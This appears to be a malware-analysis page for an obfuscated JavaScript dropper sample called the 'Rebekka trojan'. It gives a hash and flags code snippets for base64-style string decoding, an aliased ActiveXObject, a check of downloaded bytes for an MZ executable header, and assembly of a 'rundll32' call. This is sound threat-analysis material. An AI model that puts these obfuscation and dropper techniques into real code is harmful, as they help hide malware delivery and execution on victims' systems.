20161220_927f31187250df22271aa59aee13a86c.js

Rebekka trojan, heavy obfuscation

Checking for MZ header (77, 90) in a byte arrayActiveXObject via local alias
SHA-256ce37987f2fb9da98ca1211aba8305a2dce8049024549908c906982713b8953a1

Evidence

Hex arithmetic in string operations lines 2–14
2:559… 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7
3
4);
5var silkopil = "\u002f";
6 var Hesrshish =- 0x01 +0x09+0xF7 ;
7String.prototype.osenOSENles = function() {
8SupchikbacterialFROG2XCOP = 0;
9 var SupchikbacterialRazlomSS, SupchikbacterialFROG2ddDccC2, SupchikbacterialFROG2c3, SupchikbacterialFROG2c4;
10
11 var SupchikbacterialFROG2out = "";
12
13 var SupchikbacterialFROG2Supchikbacterialka= this.replace(/FROSTICK/gi, SupchikbacterialFROG2out);
14 var SupchikbacterialFROG2len = SupchikbacterialFROG2 …
charCodeAt() method call lines 18–20
18:7… r Supchikbacterialkoch = SupchikbacterialFROG2Supchikbacterialka.charCodeAt(SupchikbacterialFROG2XCOP++) &(0x132- 0x33);
19 SupchikbacterialRazlomSS = levitron[Supchikbacterialkoch];
20 } while (SupchikbacterialFROG2XCOP < Supchik …
Builds characters with String.fromCharCode lines 27–30
27:43… 1== 0)
28 break;
29 SupchikbacterialFROG2out += String['fromCharCode']((SupchikbacterialRazlomSS << 2) | ((SupchikbacterialFROG2ddDccC2 & 0x30) >> 4)); do {
30 SupchikbacterialFROG2c3 = Supchik …
ActiveXObject via local alias lines 185–188
185:22… FROG2d2=SupchikbacterialFROG2DoUtra.pop();
186SupchikbacterialFROG2fabled="Valar2Morgulis";
187 var SupchikbacterialFROG2LitoyDISK=ActiveXObject;
188 var doubleTrouble=SupchikbacterialFROG2d2.split("45");SupchikbacterialFROG2Native.SupchikbacterialFROG2typize=function(a,b){a.type||(a.type=function(a){return SupchikbacterialFROG2$type(a)= …
Checks array for PE magic bytes lines 257–264
257:82… abaev);
258 if(SupchikbacterialTalabaevLaa < 29989)return false;
259 if (SupchikbacterialTalabaev[0]!= 77 || SupchikbacterialTalabaev[1]!= 90)return false;
260 SupchikbacterialFROG2CHICKA = SupchikbacterialFROG2CHICKA + SupchikbacterialFROG2SIDRENKOV;
261 REBEKK2(SupchikbacterialFROG2CHICKA, SupchikbacterialTalabaev );
262
263 var SupchikbacterialFROG2ddsSSddSd = ",happy";
264SupchikbacterialFROG2ddsSSddSd = (SupchikbacterialFROG2StrokaParam2,"undl") + (SupchikbacterialFROG2StrokaParam2,"l32 ") + Su …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.